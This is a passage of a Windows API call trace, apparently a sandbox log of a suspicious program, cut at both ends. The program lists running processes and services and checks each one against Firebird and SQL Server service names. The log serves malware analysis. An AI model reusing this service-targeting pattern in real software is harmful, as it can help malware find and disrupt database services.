lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0308.909] lstrlenW (lpString="SamSs") returned 5 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0308.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0308.909] lstrlenW (lpString="Schedule") returned 8 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0308.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0308.909] lstrlenW (lpString="SecurityHealthService") returned 21 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0308.909] lstrlenW (lpString="SENS") returned 4 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0308.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0308.909] lstrlenW (lpString="ShellHWDetection") returned 16 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0308.910] lstrlenW (lpString="Spooler") returned 7 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0308.910] lstrlenW (lpString="StateRepository") returned 15 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0308.910] lstrlenW (lpString="SysMain") returned 7 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0308.910] lstrlenW (lpString="SystemEventsBroker") returned 18 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0308.910] lstrlenW (lpString="Themes") returned 6 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0308.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0308.910] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0308.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0308.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0308.910] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0308.910] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0308.911] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d0b560 | out: hHeap=0x700000) returned 1 [0308.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0308.997] Process32FirstW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.998] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0308.998] lstrlenW (lpString="System") returned 6 [0308.998] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0308.999] lstrlenW (lpString="smss.exe") returned 8 [0308.999] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.000] lstrlenW (lpString="csrss.exe") returned 9 [0309.000] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0309.001] lstrlenW (lpString="wininit.exe") returned 11 [0309.001] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.001] lstrlenW (lpString="csrss.exe") returned 9 [0309.001] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0309.002] lstrlenW (lpString="winlogon.exe") returned 12 [0309.002] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0309.003] lstrlenW (lpString="services.exe") returned 12 [0309.003] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0309.003] lstrlenW (lpString="lsass.exe") returned 9 [0309.003] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.004] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.004] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.004] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.005] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.005] lstrlenW (lpString="svchost.exe") returned 11 [0309.006] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.006] lstrlenW (lpString="svchost.exe") returned 11 [0309.006] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0309.007] lstrlenW (lpString="dwm.exe") returned 7 [0309.007] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.008] lstrlenW (lpString="svchost.exe") returned 11 [0309.008] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.008] lstrlenW (lpString="svchost.exe") returned 11 [0309.008] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.009] lstrlenW (lpString="svchost.exe") returned 11 [0309.009] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.010] lstrlenW (lpString="svchost.exe") returned 11 [0309.010] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.010] lstrlenW (lpString="svchost.exe") returned 11 [0309.010] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.011] lstrlenW (lpString="svchost.exe") returned 11 [0309.011] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.012] lstrlenW (lpString="svchost.exe") returned 11 [0309.012] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.013] lstrlenW (lpString="svchost.exe") returned 11 [0309.013] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.014] lstrlenW (lpString="svchost.exe") returned 11 [0309.014] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.015] lstrlenW (lpString="svchost.exe") returned 11 [0309.015] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0309.016] lstrlenW (lpString="spoolsv.exe") returned 11 [0309.016] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.017] lstrlenW (lpString="svchost.exe") returned 11 [0309.017] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0309.018] lstrlenW (lpString="audiodg.exe") returned 11 [0309.018] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0309.018] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0309.019] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0309.019] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0309.019] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0309.020] lstrlenW (lpString="Memory Compression") returned 18 [0309.020] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.021] lstrlenW (lpString="svchost.exe") returned 11 [0309.021] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0309.022] lstrlenW (lpString="sihost.exe") returned 10 [0309.022] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0309.023] lstrlenW (lpString="taskhostw.exe") returned 13 [0309.023] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0309.024] lstrlenW (lpString="msoia.exe") returned 9 [0309.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0309.025] lstrlenW (lpString="explorer.exe") returned 12 [0309.025] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0309.026] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0309.026] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0309.027] lstrlenW (lpString="SearchUI.exe") returned 12 [0309.027] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0309.027] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0309.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0309.028] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0309.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0309.029] lstrlenW (lpString="chrome64b.exe") returned 13 [0309.029] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0309.030] lstrlenW (lpString="cmd.exe") returned 7 [0309.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0309.030] lstrlenW (lpString="conhost.exe") returned 11 [0309.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0309.031] lstrlenW (lpString="mode.com") returned 8 [0309.031] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0309.032] CloseHandle (hObject=0x35c) returned 1 [0309.032] Sleep (dwMilliseconds=0x1f4) [0309.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759fe0 [0309.660] EnumServicesStatusExW (in: hSCManager=0x759fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0309.660] GetLastError () returned 0xea [0309.660] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d0b560 [0309.661] EnumServicesStatusExW (in: hSCManager=0x759fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0b560, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0b560, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0309.661] CloseServiceHandle (hSCObject=0x759fe0) returned 1 [0309.662] lstrlenW (lpString="Appinfo") returned 7 [0309.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0309.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0309.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0309.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0309.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0309.662] lstrlenW (lpString="AppXSvc") returned 7 [0309.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0309.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0309.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0309.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0309.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0309.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0309.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0309.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0309.663] lstrlenW (lpString="Audiosrv") returned 8 [0309.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0309.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0309.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0309.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0309.663] lstrlenW (lpString="BFE") returned 3 [0309.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0309.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0309.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0309.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0309.663] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0309.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0309.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0309.663] lstrlenW (lpString="CDPSvc") returned 6 [0309.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0309.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0309.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0309.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0309.663] lstrlenW (lpString="ClickToRunSvc") returned 13 [0309.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 